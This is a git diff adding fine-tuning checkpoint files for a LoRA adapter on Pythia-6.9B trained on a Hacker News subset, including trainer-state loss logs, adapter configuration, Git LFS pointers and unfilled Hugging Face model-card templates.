b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..adf16aef83be9000fa58b1f6034e32637b6e0a8c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/trainer_state.json @@ -0,0 +1,378 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.066666666666667, + "eval_steps": 10, + "global_step": 230, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3.76879655682048e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-230/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..61cfe6501073d4ee7fb05389968778a3eb8cf245 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6f1da14b5ba7e5ba15f6b30cd419e9888c65700379f8a3539dc70a411164c1e6 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..490993cee99b3367970bdc4ca077d736853c9e8e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:32fb27728abcf421a392b09a8c095c39df3686260e170d946a40704a06d8dc10 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..846c31e0418b3b3196b4e9c5d730a866c947d1d6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:33d7857a6e3603508425c326c1a1dee439799d2c72bbfc8afcabbb8578757780 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..31e05b86275fed970cdeadc24115c84e19feae09 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f73703efe567bf60e5ab219b736abd5d1183aaab558b64454b92f8bc5cf1b3fd +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..3d6831e25026fffd1b19ca813e14e5f45cddddbd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/trainer_state.json @@ -0,0 +1,393 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.2, + "eval_steps": 10, + "global_step": 240, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3.93265727668224e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-240/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact 